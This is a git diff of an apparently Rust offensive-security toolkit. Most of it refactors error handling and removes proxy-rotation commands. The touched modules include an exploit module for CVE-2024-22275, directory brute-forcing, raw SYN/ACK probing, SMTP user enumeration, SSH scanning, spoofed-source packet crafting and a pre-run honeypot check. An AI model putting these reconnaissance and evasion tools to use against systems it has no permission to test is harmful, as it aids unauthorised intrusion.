println!("{}", format!("[-] Failed to read file: {}", e).red());
|
||||
}
|
||||
}
|
||||
}
|
||||
_ => {
|
||||
println!("{}", "[-] Invalid mode".red());
|
||||
}
|
||||
}
|
||||
|
||||
println!();
|
||||
println!("{}", "[*] CVE-2024-22275 exploit module complete".green());
|
||||
|
||||
Ok(())
|
||||
}
|
||||
@@ -322,8 +322,8 @@ async fn execute_scan(config: DirBruteConfig) -> Result<()> {
|
||||
let config_verbose = config.verbose;
|
||||
let random_agent = config.random_agent;
|
||||
|
||||
let task = tokio::spawn(async move {
|
||||
let _permit = sem.acquire().await.unwrap();
|
||||
let task: tokio::task::JoinHandle<Result<()>> = tokio::spawn(async move {
|
||||
let _permit = sem.acquire().await.context("Semaphore acquisition failed")?;
|
||||
|
||||
// Apply delay
|
||||
if delay.as_millis() > 0 {
|
||||
@@ -391,6 +391,7 @@ async fn execute_scan(config: DirBruteConfig) -> Result<()> {
|
||||
Err(_) => {}
|
||||
}
|
||||
}
|
||||
Ok(())
|
||||
});
|
||||
tasks.push(task);
|
||||
}
|
||||
@@ -425,7 +426,7 @@ async fn execute_scan(config: DirBruteConfig) -> Result<()> {
|
||||
for r in sorted {
|
||||
use std::fmt::Write;
|
||||
writeln!(file_content, "[{}] {} | Size: {} | Method: {} | {}",
|
||||
r.status, get_status_text(r.status), r.len, r.method, r.path).unwrap();
|
||||
r.status, get_status_text(r.status), r.len, r.method, r.path).context("Failed to write to buffer")?;
|
||||
}
|
||||
|
||||
fs::write(&filename, file_content)?;
|
||||
|
||||
@@ -494,7 +494,7 @@ async fn execute_ping_sweep(config: &PingConfig) -> Result<()> {
|
||||
|
||||
// Save results to files if requested
|
||||
if let Some(ref up_file) = config.save_up_hosts {
|
||||
let up_list = up_hosts_list.lock().unwrap();
|
||||
let up_list = up_hosts_list.lock().unwrap_or_else(|e| e.into_inner());
|
||||
if !up_list.is_empty() {
|
||||
match save_hosts_to_file(&up_list, up_file) {
|
||||
Ok(_) => {
|
||||
@@ -510,7 +510,7 @@ async fn execute_ping_sweep(config: &PingConfig) -> Result<()> {
|
||||
}
|
||||
|
||||
if let Some(ref down_file) = config.save_down_hosts {
|
||||
let down_list = down_hosts_list.lock().unwrap();
|
||||
let down_list = down_hosts_list.lock().unwrap_or_else(|e| e.into_inner());
|
||||
if !down_list.is_empty() {
|
||||
match save_hosts_to_file(&down_list, down_file) {
|
||||
Ok(_) => {
|
||||
@@ -692,7 +692,7 @@ async fn syn_probe_single(ip: &Ipv4Addr, port: u16, timeout: Duration) -> Result
|
||||
|
||||
let tcp_header_len = 20;
|
||||
let mut tcp_buf = vec![0u8; tcp_header_len];
|
||||
let mut tcp_pkt = MutableTcpPacket::new(&mut tcp_buf).unwrap();
|
||||
let mut tcp_pkt = MutableTcpPacket::new(&mut tcp_buf).ok_or_else(|| anyhow!("Failed to create TCP packet"))?;
|
||||
tcp_pkt.set_source(src_port);
|
||||
tcp_pkt.set_destination(port);
|
||||
tcp_pkt.set_sequence(seq_num);
|
||||
@@ -709,7 +709,7 @@ async fn syn_probe_single(ip: &Ipv4Addr, port: u16, timeout: Duration) -> Result
|
||||
const IPV4_HEADER_LEN: usize = 20;
|
||||
let total_len = (IPV4_HEADER_LEN + tcp_header_len) as u16;
|
||||
let mut ip_buf = vec![0u8; total_len as usize];
|
||||
let mut ip_pkt = MutableIpv4Packet::new(&mut ip_buf).unwrap();
|
||||
let mut ip_pkt = MutableIpv4Packet::new(&mut ip_buf).ok_or_else(|| anyhow!("Failed to create IP packet"))?;
|
||||
ip_pkt.set_version(4);
|
||||
ip_pkt.set_header_length(5);
|
||||
ip_pkt.set_total_length(total_len);
|
||||
@@ -871,7 +871,7 @@ async fn ack_probe_single(ip: &Ipv4Addr, port: u16, timeout: Duration) -> Result
|
||||
|
||||
let tcp_header_len = 20;
|
||||
let mut tcp_buf = vec![0u8; tcp_header_len];
|
||||
let mut tcp_pkt = MutableTcpPacket::new(&mut tcp_buf).unwrap();
|
||||
let mut tcp_pkt = MutableTcpPacket::new(&mut tcp_buf).ok_or_else(|| anyhow!("Failed to create TCP packet"))?;
|
||||
tcp_pkt.set_source(src_port);
|
||||
tcp_pkt.set_destination(port);
|
||||
tcp_pkt.set_sequence(seq_num);
|
||||
@@ -888,7 +888,7 @@ async fn ack_probe_single(ip: &Ipv4Addr, port: u16, timeout: Duration) -> Result
|
||||
const IPV4_HEADER_LEN: usize = 20;
|
||||
let total_len = (IPV4_HEADER_LEN + tcp_header_len) as u16;
|
||||
let mut ip_buf = vec![0u8; total_len as usize];
|
||||
let mut ip_pkt = MutableIpv4Packet::new(&mut ip_buf).unwrap();
|
||||
let mut ip_pkt = MutableIpv4Packet::new(&mut ip_buf).ok_or_else(|| anyhow!("Failed to create IP packet"))?;
|
||||
ip_pkt.set_version(4);
|
||||
ip_pkt.set_header_length(5);
|
||||
ip_pkt.set_total_length(total_len);
|
||||
|
||||
@@ -172,12 +172,12 @@ pub async fn run_with_settings(
|
||||
|
||||
println!("\n{}", format!("[*] Starting scan for target: {} (resolved: {})", target, resolved_ip_str).cyan().bold());
|
||||
println!("{}", format!("[*] Scanning {} ports with concurrency: {}", total_ports, concurrency).cyan());
|
||||
writeln!(file.lock().unwrap(), "Port Scan Results for {} ({})\n", target, resolved_ip_str)?;
|
||||
writeln!(file.lock().unwrap_or_else(|e| e.into_inner()), "Port Scan Results for {} ({})\n", target, resolved_ip_str)?;
|
||||
let timestamp = std::time::SystemTime::now()
|
||||
.duration_since(std::time::UNIX_EPOCH)
|
||||
.unwrap()
|
||||
.unwrap_or(Duration::from_secs(0))
|
||||
.as_secs();
|
||||
writeln!(file.lock().unwrap(), "Scan started at: {}\n", timestamp)?;
|
||||
writeln!(file.lock().unwrap_or_else(|e| e.into_inner()), "Scan started at: {}\n", timestamp)?;
|
||||
|
||||
// TCP Scan
|
||||
println!("{}", "\n[*] Starting TCP scan...".yellow());
|
||||
@@ -196,8 +196,8 @@ pub async fn run_with_settings(
|
||||
let _permit = permit;
|
||||
let result = scan_tcp(&ip, port, timeout_secs).await;
|
||||
|
||||
let mut stats_guard = stats.lock().unwrap();
|
||||
let mut progress_guard = progress.lock().unwrap();
|
||||
let mut stats_guard = stats.lock().unwrap_or_else(|e| e.into_inner());
|
||||
let mut progress_guard = progress.lock().unwrap_or_else(|e| e.into_inner());
|
||||
|
||||
if let Some((status, banner, service)) = result {
|
||||
match status.as_str() {
|
||||
@@ -207,7 +207,7 @@ pub async fn run_with_settings(
|
||||
let line = format!("[TCP] {}:{} ({}) => {}", ip_str, port, service_name, status.green());
|
||||
|
||||
if !show_only_open {
|
||||
let _ = writeln!(file.lock().unwrap(), "{}", line);
|
||||
let _ = writeln!(file.lock().unwrap_or_else(|e| e.into_inner()), "{}", line);
|
||||
}
|
||||
|
||||
let output_line = if !banner.is_empty() {
|
||||
@@ -216,7 +216,7 @@ pub async fn run_with_settings(
|
||||
line
|
||||
};
|
||||
|
||||
let _ = writeln!(file.lock().unwrap(), "{}", output_line);
|
||||
let _ = writeln!(file.lock().unwrap_or_else(|e| e.into_inner()), "{}", output_line);
|
||||
println!("{}", output_line);
|
||||
}
|
||||
"CLOSED" => stats_guard.tcp_closed += 1,
|
||||
@@ -250,8 +250,8 @@ pub async fn run_with_settings(
|
||||
let _permit = permit;
|
||||
let result = scan_udp(&ip, port, timeout_secs).await;
|
||||
|
||||
let mut stats_guard = stats.lock().unwrap();
|
||||
let mut progress_guard = progress.lock().unwrap();
|
||||
let mut stats_guard = stats.lock().unwrap_or_else(|e| e.into_inner());
|
||||
let mut progress_guard = progress.lock().unwrap_or_else(|e| e.into_inner());
|
||||
|
||||
if let Some(status) = result {
|
||||
match status.as_str() {
|
||||
@@ -261,10 +261,10 @@ pub async fn run_with_settings(
|
||||
let line = format!("[UDP] {}:{} ({}) => {}", ip_str, port, service_name, status.green());
|
||||
|
||||
if !show_only_open {
|
||||
let _ = writeln!(file.lock().unwrap(), "{}", line);
|
||||
let _ = writeln!(file.lock().unwrap_or_else(|e| e.into_inner()), "{}", line);
|
||||
}
|
||||
|
||||
let _ = writeln!(file.lock().unwrap(), "{}", line);
|
||||
let _ = writeln!(file.lock().unwrap_or_else(|e| e.into_inner()), "{}", line);
|
||||
println!("{}", line);
|
||||
}
|
||||
"CLOSED" => stats_guard.udp_closed += 1,
|
||||
@@ -291,7 +291,7 @@ pub async fn run_with_settings(
|
||||
}
|
||||
|
||||
let elapsed = start_time.elapsed();
|
||||
let stats = stats.lock().unwrap();
|
||||
let stats = stats.lock().unwrap_or_else(|e| e.into_inner());
|
||||
|
||||
// Print summary
|
||||
println!("\n{}", "=== Scan Summary ===".cyan().bold());
|
||||
@@ -311,17 +311,17 @@ pub async fn run_with_settings(
|
||||
println!("\n{}", format!("[*] Results saved to {}", output_file).cyan());
|
||||
|
||||
// Write summary to file
|
||||
writeln!(file.lock().unwrap(), "\n=== Scan Summary ===")?;
|
||||
writeln!(file.lock().unwrap(), "Scan duration: {:.2} seconds", elapsed.as_secs_f64())?;
|
||||
writeln!(file.lock().unwrap(), "\nTCP Ports:")?;
|
||||
writeln!(file.lock().unwrap(), " Open: {}", stats.tcp_open)?;
|
||||
writeln!(file.lock().unwrap(), " Closed: {}", stats.tcp_closed)?;
|
||||
writeln!(file.lock().unwrap(), " Filtered/Timeout: {}", stats.tcp_filtered)?;
|
||||
writeln!(file.lock().unwrap_or_else(|e| e.into_inner()), "\n=== Scan Summary ===")?;
|
||||
writeln!(file.lock().unwrap_or_else(|e| e.into_inner()), "Scan duration: {:.2} seconds", elapsed.as_secs_f64())?;
|
||||
writeln!(file.lock().unwrap_or_else(|e| e.into_inner()), "\nTCP Ports:")?;
|
||||
writeln!(file.lock().unwrap_or_else(|e| e.into_inner()), " Open: {}", stats.tcp_open)?;
|
||||
writeln!(file.lock().unwrap_or_else(|e| e.into_inner()), " Closed: {}", stats.tcp_closed)?;
|
||||
writeln!(file.lock().unwrap_or_else(|e| e.into_inner()), " Filtered/Timeout: {}", stats.tcp_filtered)?;
|
||||
if scan_udp_enabled {
|
||||
writeln!(file.lock().unwrap(), "\nUDP Ports:")?;
|
||||
writeln!(file.lock().unwrap(), " Open: {}", stats.udp_open)?;
|
||||
writeln!(file.lock().unwrap(), " Closed: {}", stats.udp_closed)?;
|
||||
writeln!(file.lock().unwrap(), " Filtered: {}", stats.udp_filtered)?;
|
||||
writeln!(file.lock().unwrap_or_else(|e| e.into_inner()), "\nUDP Ports:")?;
|
||||
writeln!(file.lock().unwrap_or_else(|e| e.into_inner()), " Open: {}", stats.udp_open)?;
|
||||
writeln!(file.lock().unwrap_or_else(|e| e.into_inner()), " Closed: {}", stats.udp_closed)?;
|
||||
writeln!(file.lock().unwrap_or_else(|e| e.into_inner()), " Filtered: {}", stats.udp_filtered)?;
|
||||
}
|
||||
|
||||
Ok(())
|
||||
|
||||
@@ -291,7 +291,7 @@ async fn run_smtp_user_enum(config: SmtpUserEnumConfig) -> Result<()> {
|
||||
.green()
|
||||
.bold()
|
||||
);
|
||||
let mut users = found.lock().unwrap();
|
||||
let mut users = found.lock().unwrap_or_else(|e| e.into_inner());
|
||||
users.push((
|
||||
format!("{}@{}", username, raw_target),
|
||||
response.trim().to_string(),
|
||||
@@ -312,7 +312,7 @@ async fn run_smtp_user_enum(config: SmtpUserEnumConfig) -> Result<()> {
|
||||
let msg = e.to_string();
|
||||
if msg.starts_with("Unknown VRFY response for '") {
|
||||
{
|
||||
let mut unk = unknown.lock().unwrap();
|
||||
let mut unk = unknown.lock().unwrap_or_else(|e| e.into_inner());
|
||||
unk.push((
|
||||
format!("{}@{}", username, raw_target),
|
||||
msg.clone(),
|
||||
@@ -434,7 +434,7 @@ async fn run_smtp_user_enum(config: SmtpUserEnumConfig) -> Result<()> {
|
||||
.green()
|
||||
.bold()
|
||||
);
|
||||
let mut users = found.lock().unwrap();
|
||||
let mut users = found.lock().unwrap_or_else(|e| e.into_inner());
|
||||
users.push((
|
||||
format!("{}@{}", username, raw_target),
|
||||
response.trim().to_string(),
|
||||
@@ -455,7 +455,7 @@ async fn run_smtp_user_enum(config: SmtpUserEnumConfig) -> Result<()> {
|
||||
let msg = e.to_string();
|
||||
if msg.starts_with("Unknown VRFY response for '") {
|
||||
{
|
||||
let mut unk = unknown.lock().unwrap();
|
||||
let mut unk = unknown.lock().unwrap_or_else(|e| e.into_inner());
|
||||
unk.push((
|
||||
format!("{}@{}", username, raw_target),
|
||||
msg.clone(),
|
||||
@@ -641,7 +641,7 @@ async fn finalize_and_report(
|
||||
// Print final statistics
|
||||
stats.print_final();
|
||||
|
||||
let found_guard = found.lock().unwrap();
|
||||
let found_guard = found.lock().unwrap_or_else(|e| e.into_inner());
|
||||
if found_guard.is_empty() {
|
||||
println!("{}", "[-] No valid usernames found.".yellow());
|
||||
} else {
|
||||
@@ -670,7 +670,7 @@ async fn finalize_and_report(
|
||||
}
|
||||
drop(found_guard);
|
||||
|
||||
let unknown_guard = unknown.lock().unwrap();
|
||||
let unknown_guard = unknown.lock().unwrap_or_else(|e| e.into_inner());
|
||||
if !unknown_guard.is_empty() {
|
||||
println!(
|
||||
"{}",
|
||||
@@ -842,12 +842,12 @@ async fn prompt_wordlist(message: &str) -> Result<String> {
|
||||
}
|
||||
|
||||
fn normalize_target(host: &str, port: u16) -> Result<String> {
|
||||
let re = Regex::new(r"^\[*([^\]]+?)\]*(?::(\d{1,5}))?$").unwrap();
|
||||
let re = Regex::new(r"^\[*([^\]]+?)\]*(?::(\d{1,5}))?$").expect("Invalid regex");
|
||||
let t = host.trim();
|
||||
let cap = re
|
||||
.captures(t)
|
||||
.ok_or_else(|| anyhow!("Invalid target: {}", host))?;
|
||||
let addr = cap.get(1).unwrap().as_str();
|
||||
let addr = cap.get(1).map(|m| m.as_str()).ok_or_else(|| anyhow!("Target address missing"))?;
|
||||
let p = cap
|
||||
.get(2)
|
||||
.map(|m| m.as_str().parse::<u16>().ok())
|
||||
|
||||
@@ -259,8 +259,8 @@ pub async fn scan_ssh(
|
||||
let results = Arc::clone(&results);
|
||||
let stats = Arc::clone(&stats);
|
||||
|
||||
let handle = tokio::spawn(async move {
|
||||
let _permit = semaphore.acquire().await.unwrap();
|
||||
let handle: tokio::task::JoinHandle<Result<()>> = tokio::spawn(async move {
|
||||
let _permit = semaphore.acquire().await.context("Semaphore acquisition failed")?;
|
||||
|
||||
let host_clone = host.clone();
|
||||
let result = spawn_blocking(move || {
|
||||
@@ -286,6 +286,7 @@ pub async fn scan_ssh(
|
||||
stats.record_scan(false, true);
|
||||
}
|
||||
}
|
||||
Ok(())
|
||||
});
|
||||
|
||||
handles.push(handle);
|
||||
|
||||
@@ -21,7 +21,7 @@ use socket2::{Domain, Protocol, Socket, Type};
|
||||
|
||||
use colored::*;
|
||||
|
||||
use anyhow::{Result, Context, bail};
|
||||
use anyhow::{Result, Context, anyhow, bail};
|
||||
|
||||
use std::mem::MaybeUninit;
|
||||
|
||||
@@ -131,19 +131,19 @@ fn craft_probe_packet(
|
||||
let (transport_header_len, transport_packet_data) = match protocol_type {
|
||||
ProbeProtocolType::Icmp => {
|
||||
let mut buf = vec![0u8; 8 + payload.len()];
|
||||
let mut pkt = echo_request::MutableEchoRequestPacket::new(&mut buf).unwrap();
|
||||
let mut pkt = echo_request::MutableEchoRequestPacket::new(&mut buf).ok_or_else(|| anyhow!("Failed to create EchoRequest"))?;
|
||||
pkt.set_icmp_type(IcmpTypes::EchoRequest);
|
||||
pkt.set_icmp_code(echo_request::IcmpCodes::NoCode);
|
||||
pkt.set_identifier(icmp_id_val);
|
||||
pkt.set_sequence_number(icmp_seq_val);
|
||||
pkt.set_payload(&payload);
|
||||
let view = IcmpPacket::new(pkt.packet()).unwrap();
|
||||
let view = IcmpPacket::new(pkt.packet()).ok_or_else(|| anyhow!("Failed to create ICMP view"))?;
|
||||
pkt.set_checksum(icmp::checksum(&view));
|
||||
(buf.len(), buf)
|
||||
}
|
||||
ProbeProtocolType::Udp => {
|
||||
let mut buf = vec![0u8; 8 + payload.len()];
|
||||
let mut pkt = MutableUdpPacket::new(&mut buf).unwrap();
|
||||
let mut pkt = MutableUdpPacket::new(&mut buf).ok_or_else(|| anyhow!("Failed to create UDP packet"))?;
|
||||
pkt.set_source(rng.random_range(33434..=65535));
|
||||
pkt.set_destination(rng.random_range(33434..=65535));
|
||||
pkt.set_length((8 + payload.len()) as u16);
|
||||
@@ -154,7 +154,7 @@ fn craft_probe_packet(
|
||||
}
|
||||
ProbeProtocolType::Tcp => {
|
||||
let mut buf = vec![0u8; 20 + payload.len()];
|
||||
let mut pkt = MutableTcpPacket::new(&mut buf).unwrap();
|
||||
let mut pkt = MutableTcpPacket::new(&mut buf).ok_or_else(|| anyhow!("Failed to create TCP packet"))?;
|
||||
pkt.set_source(rng.random_range(33434..=65535));
|
||||
pkt.set_destination(rng.random_range(33434..=65535));
|
||||
pkt.set_sequence(rng.random());
|
||||
@@ -174,11 +174,11 @@ fn craft_probe_packet(
|
||||
let mut ip_buf = vec![0u8; total_len as usize];
|
||||
|
||||
let src_ip = src_ip_override
|
||||
.or_else(|| SPOOF_SRC_IP_CONFIG.map(str::parse).transpose().unwrap())
|
||||
.or_else(|| SPOOF_SRC_IP_CONFIG.map(str::parse).transpose().expect("Invalid SPOOF_SRC_IP_CONFIG"))
|
||||
.unwrap_or(Ipv4Addr::new(0,0,0,0));
|
||||
|
||||
{
|
||||
let mut ip = MutableIpv4Packet::new(&mut ip_buf).unwrap();
|
||||
let mut ip = MutableIpv4Packet::new(&mut ip_buf).ok_or_else(|| anyhow!("Failed to create IPv4 packet"))?;
|
||||
ip.set_version(4);
|
||||
ip.set_header_length(5);
|
||||
ip.set_total_length(total_len);
|
||||
@@ -193,7 +193,7 @@ fn craft_probe_packet(
|
||||
if sig.df_flag {
|
||||
flags |= IPV4_FLAG_DF;
|
||||
}
|
||||
ip.set_flags(flags.try_into().unwrap());
|
||||
ip.set_flags(flags.try_into().unwrap_or(0));
|
||||
ip.set_payload(&transport_packet_data);
|
||||
ip.set_checksum(ipv4::checksum(&ip.to_immutable()));
|
||||
}
|
||||
@@ -242,7 +242,7 @@ async fn send_and_receive_one(
|
||||
return Ok(None);
|
||||
}
|
||||
|
||||
let sock_clone = receiver_socket.try_clone().expect("Socket clone failed");
|
||||
let sock_clone = receiver_socket.try_clone().context("Socket clone failed")?;
|
||||
let recv = task::spawn_blocking(move || -> Result<Option<(Vec<u8>, SocketAddr)>, std::io::Error> {
|
||||
let mut buf = [MaybeUninit::<u8>::uninit(); 1500];
|
||||
match sock_clone.recv_from(&mut buf) {
|
||||
|
||||
+61
-509
@@ -3,27 +3,20 @@ use crate::utils;
|
||||
use crate::config;
|
||||
use anyhow::Result;
|
||||
use colored::*;
|
||||
use rand::prelude::*;
|
||||
use std::env;
|
||||
use std::io::{self, Write};
|
||||
use std::collections::HashSet;
|
||||
use std::sync::Mutex;
|
||||
use url::Url;
|
||||
|
||||
const MAX_INPUT_LENGTH: usize = 4096;
|
||||
const MAX_PROXY_LIST_SIZE: usize = 10_000;
|
||||
const MAX_TARGET_LENGTH: usize = 512;
|
||||
const MAX_COMMAND_CHAIN_LENGTH: usize = 10;
|
||||
const MAX_URL_LENGTH: usize = 2048;
|
||||
const MAX_PATH_LENGTH: usize = 4096;
|
||||
|
||||
const MAX_PROMPT_INPUT_LENGTH: usize = 1024;
|
||||
|
||||
/// Simple interactive shell context
|
||||
struct ShellContext {
|
||||
current_module: Option<String>,
|
||||
current_target: Option<String>,
|
||||
proxy_list: Vec<String>,
|
||||
proxy_enabled: bool,
|
||||
}
|
||||
|
||||
impl ShellContext {
|
||||
@@ -31,8 +24,6 @@ impl ShellContext {
|
||||
ShellContext {
|
||||
current_module: None,
|
||||
current_target: None,
|
||||
proxy_list: Vec::new(),
|
||||
proxy_enabled: false,
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -108,7 +99,7 @@ pub async fn interactive_shell() -> Result<()> {
|
||||
match command_key.as_str() {
|
||||
"exit" => {
|
||||
println!("Exiting...");
|
||||
clear_proxy_env_vars();
|
||||
println!("Exiting...");
|
||||
break 'main_loop;
|
||||
}
|
||||
"back" => {
|
||||
@@ -151,134 +142,7 @@ pub async fn interactive_shell() -> Result<()> {
|
||||
utils::find_modules(&rest);
|
||||
}
|
||||
}
|
||||
"proxy_load" => {
|
||||
let file_path = if rest.is_empty() {
|
||||
match prompt_for_path("Path to proxy list file: ") {
|
||||
Ok(path) => path,
|
||||
Err(e) => {
|
||||
println!("{}", format!("[!] Error reading input: {}", e).red());
|
||||
continue;
|
||||
}
|
||||
}
|
||||
} else {
|
||||
rest.to_string()
|
||||
};
|
||||
|
||||
match utils::load_proxies_from_file(&file_path) {
|
||||
Ok(summary) => {
|
||||
let mut unique = HashSet::new();
|
||||
let mut deduped = Vec::new();
|
||||
for proxy in summary.proxies.iter() {
|
||||
if unique.insert(proxy.clone()) {
|
||||
deduped.push(proxy.clone());
|
||||
}
|
||||
}
|
||||
|
||||
if deduped.len() > MAX_PROXY_LIST_SIZE {
|
||||
println!(
|
||||
"{}",
|
||||
format!(
|
||||
"[!] Loaded proxy list exceeded {} entries. Truncating.",
|
||||
MAX_PROXY_LIST_SIZE
|
||||
)
|
||||
.yellow()
|
||||
);
|
||||
deduped.truncate(MAX_PROXY_LIST_SIZE);
|
||||
}
|
||||
|
||||
let removed = summary.proxies.len().saturating_sub(deduped.len());
|
||||
if removed > 0 {
|
||||
println!(
|
||||
"{}",
|
||||
format!(
|
||||
"[*] Removed {} duplicate proxy entr{}.",
|
||||
removed,
|
||||
if removed == 1 { "y" } else { "ies" }
|
||||
)
|
||||
.dimmed()
|
||||
);
|
||||
}
|
||||
|
||||
ctx.proxy_list = deduped;
|
||||
println!(
|
||||
"Loaded {} proxies from '{}'.",
|
||||
ctx.proxy_list.len(),
|
||||
file_path
|
||||
);
|
||||
|
||||
if !summary.skipped.is_empty() {
|
||||
println!(
|
||||
"{}",
|
||||
format!(
|
||||
"Skipped {} invalid entr{}:",
|
||||
summary.skipped.len(),
|
||||
if summary.skipped.len() == 1 { "y" } else { "ies" }
|
||||
)
|
||||
.yellow()
|
||||
);
|
||||
for failure in summary.skipped.iter().take(10) {
|
||||
println!(
|
||||
" [line {}] {} ({})",
|
||||
failure.line_number,
|
||||
failure.content,
|
||||
failure.reason
|
||||
);
|
||||
}
|
||||
if summary.skipped.len() > 10 {
|
||||
println!(
|
||||
" ... {} additional entr{} skipped.",
|
||||
summary.skipped.len() - 10,
|
||||
if summary.skipped.len() - 10 == 1 {
|
||||
"y"
|
||||
} else {
|
||||
"ies"
|
||||
}
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
match prompt_yes_no("Test connectivity of loaded proxies? (recommended)", true) {
|
||||
Ok(true) => {
|
||||
if let Err(e) = test_current_proxies(&mut ctx).await {
|
||||
println!("{}", format!("[!] Proxy testing failed: {}", e).red());
|
||||
}
|
||||
}
|
||||
Ok(false) => {}
|
||||
Err(e) => {
|
||||
println!("{}", format!("[!] Error reading input: {}", e).red());
|
||||
}
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
println!("Failed to load proxies: {}", e);
|
||||
}
|
||||
}
|
||||
}
|
||||
"proxy_on" => {
|
||||
ctx.proxy_enabled = true;
|
||||
println!("Proxy usage enabled.");
|
||||
}
|
||||
"proxy_off" => {
|
||||
ctx.proxy_enabled = false;
|
||||
println!("Proxy usage disabled.");
|
||||
clear_proxy_env_vars();
|
||||
}
|
||||
"proxy_test" => {
|
||||
if let Err(e) = test_current_proxies(&mut ctx).await {
|
||||
println!("{}", format!("[!] Proxy testing failed: {}", e).red());
|
||||
}
|
||||
}
|
||||
"show_proxies" => {
|
||||
if ctx.proxy_list.is_empty() {
|
||||
println!("No proxies loaded. Use 'proxy_load <file>' to load them.");
|
||||
} else {
|
||||
println!("Loaded proxies ({}):", ctx.proxy_list.len());
|
||||
for p in &ctx.proxy_list {
|
||||
println!(" {}", p);
|
||||
}
|
||||
}
|
||||
println!("Proxy is currently {}.", if ctx.proxy_enabled { "ON" } else { "OFF" });
|
||||
}
|
||||
"use" => {
|
||||
if rest.is_empty() {
|
||||
println!("{}", "Usage: use <module_path>".yellow());
|
||||
@@ -298,47 +162,51 @@ pub async fn interactive_shell() -> Result<()> {
|
||||
}
|
||||
}
|
||||
"set" => {
|
||||
// Handle "set target <value>" - require "target " prefix with space
|
||||
if rest.starts_with("target ") {
|
||||
let raw_value = rest.strip_prefix("target ").unwrap_or(&rest).trim();
|
||||
if raw_value.is_empty() {
|
||||
println!("{}", "Usage: set target <value>".yellow());
|
||||
println!("{}", " Examples:".dimmed());
|
||||
println!("{}", " set target 192.168.1.1".dimmed());
|
||||
println!("{}", " set target 192.168.1.0/24".dimmed());
|
||||
println!("{}", " set target example.com".dimmed());
|
||||
continue;
|
||||
}
|
||||
match sanitize_target(raw_value) {
|
||||
Ok(valid_target) => {
|
||||
// Set both local context and global config
|
||||
ctx.current_target = Some(valid_target.clone());
|
||||
match config::GLOBAL_CONFIG.set_target(&valid_target) {
|
||||
Ok(_) => {
|
||||
if config::GLOBAL_CONFIG.is_subnet() {
|
||||
println!("{}", format!("Global target set to subnet: {}", valid_target).green());
|
||||
} else {
|
||||
println!("{}", format!("Global target set to: {}", valid_target).green());
|
||||
}
|
||||
println!("{}", format!("Local target set to: {}", valid_target).green());
|
||||
}
|
||||
Err(e) => {
|
||||
println!("{}", format!("[!] Failed to set global target: {}", e).red());
|
||||
// Still set local target
|
||||
println!("{}", format!("Local target set to: {}", valid_target).green());
|
||||
// Handle shortcuts: "target <val>", "t <val>", "set target <val>", "set t <val>"
|
||||
let raw_value = if cmd == "target" || cmd == "t" {
|
||||
&rest
|
||||
} else if let Some(val) = rest.strip_prefix("target ") {
|
||||
val
|
||||
} else if let Some(val) = rest.strip_prefix("t ") {
|
||||
val
|
||||
} else {
|
||||
""
|
||||
};
|
||||
|
||||
let raw_value = raw_value.trim();
|
||||
|
||||
if raw_value.is_empty() {
|
||||
println!("{}", "Usage: set target <value>".yellow());
|
||||
println!("{}", " Shortcuts: t <value>, target <value>".dimmed());
|
||||
println!("{}", " Examples:".dimmed());
|
||||
println!("{}", " t 192.168.1.1".dimmed());
|
||||
println!("{}", " set target example.com".dimmed());
|
||||
continue;
|
||||
}
|
||||
|
||||
match sanitize_target(raw_value) {
|
||||
Ok(valid_target) => {
|
||||
// Set both local context and global config
|
||||
ctx.current_target = Some(valid_target.clone());
|
||||
match config::GLOBAL_CONFIG.set_target(&valid_target) {
|
||||
Ok(_) => {
|
||||
if config::GLOBAL_CONFIG.is_subnet() {
|
||||
println!("{}", format!("Global target set to subnet: {}", valid_target).green());
|
||||
} else {
|
||||
println!("{}", format!("Global target set to: {}", valid_target).green());
|
||||
}
|
||||
println!("{}", format!("Local target set to: {}", valid_target).green());
|
||||
}
|
||||
Err(e) => {
|
||||
println!("{}", format!("[!] Failed to set global target: {}", e).red());
|
||||
// Still set local target
|
||||
println!("{}", format!("Local target set to: {}", valid_target).green());
|
||||
}
|
||||
}
|
||||
Err(reason) => {
|
||||
println!("{}", format!("[!] {}", reason).yellow());
|
||||
}
|
||||
}
|
||||
} else {
|
||||
println!("{}", "Usage: set target <value>".yellow());
|
||||
println!("{}", " Examples:".dimmed());
|
||||
println!("{}", " set target 192.168.1.1".dimmed());
|
||||
println!("{}", " set target 192.168.1.0/24".dimmed());
|
||||
println!("{}", " set target example.com".dimmed());
|
||||
Err(reason) => {
|
||||
println!("{}", format!("[!] {}", reason).yellow());
|
||||
}
|
||||
}
|
||||
}
|
||||
"run" => {
|
||||
@@ -412,55 +280,16 @@ pub async fn interactive_shell() -> Result<()> {
|
||||
};
|
||||
|
||||
if let Some(ref t) = target {
|
||||
// Perform honeypot check before running module
|
||||
// Perform honeypot check before running module
|
||||
utils::basic_honeypot_check(t).await;
|
||||
|
||||
if ctx.proxy_enabled && !ctx.proxy_list.is_empty() {
|
||||
let mut tried_proxies = HashSet::new();
|
||||
let mut success = false;
|
||||
|
||||
while tried_proxies.len() < ctx.proxy_list.len() {
|
||||
let chosen_proxy = pick_random_untried_proxy(&ctx.proxy_list, &tried_proxies);
|
||||
set_all_proxy_env(&chosen_proxy);
|
||||
println!("[*] Using proxy: {}", chosen_proxy);
|
||||
|
||||
println!("Running module '{}' against target '{}'", module_path, t);
|
||||
match commands::run_module(module_path, t).await {
|
||||
Ok(_) => {
|
||||
success = true;
|
||||
break;
|
||||
}
|
||||
Err(e) => {
|
||||
eprintln!("[!] Module failed with error: {:?}", e);
|
||||
eprintln!(" Retrying with a new proxy...");
|
||||
tried_proxies.insert(chosen_proxy);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if !success {
|
||||
println!("[!] All proxies failed. Trying direct connection...");
|
||||
clear_proxy_env_vars();
|
||||
if let Err(e) = commands::run_module(module_path, t).await {
|
||||
eprintln!("[!] Final direct attempt also failed: {:?}", e);
|
||||
}
|
||||
}
|
||||
} else if ctx.proxy_enabled && ctx.proxy_list.is_empty() {
|
||||
println!("[!] No proxies loaded, but proxy is ON. Doing direct attempt...");
|
||||
clear_proxy_env_vars();
|
||||
// Honeypot check already done above
|
||||
if let Err(e) = commands::run_module(module_path, t).await {
|
||||
eprintln!("[!] Module failed: {:?}", e);
|
||||
}
|
||||
} else {
|
||||
clear_proxy_env_vars();
|
||||
// Honeypot check already done above
|
||||
if let Err(e) = commands::run_module(module_path, t).await {
|
||||
eprintln!("[!] Module failed: {:?}", e);
|
||||
}
|
||||
println!("Running module '{}' against target '{}'", module_path, t);
|
||||
if let Err(e) = commands::run_module(module_path, t).await {
|
||||
eprintln!("[!] Module failed: {:?}", e);
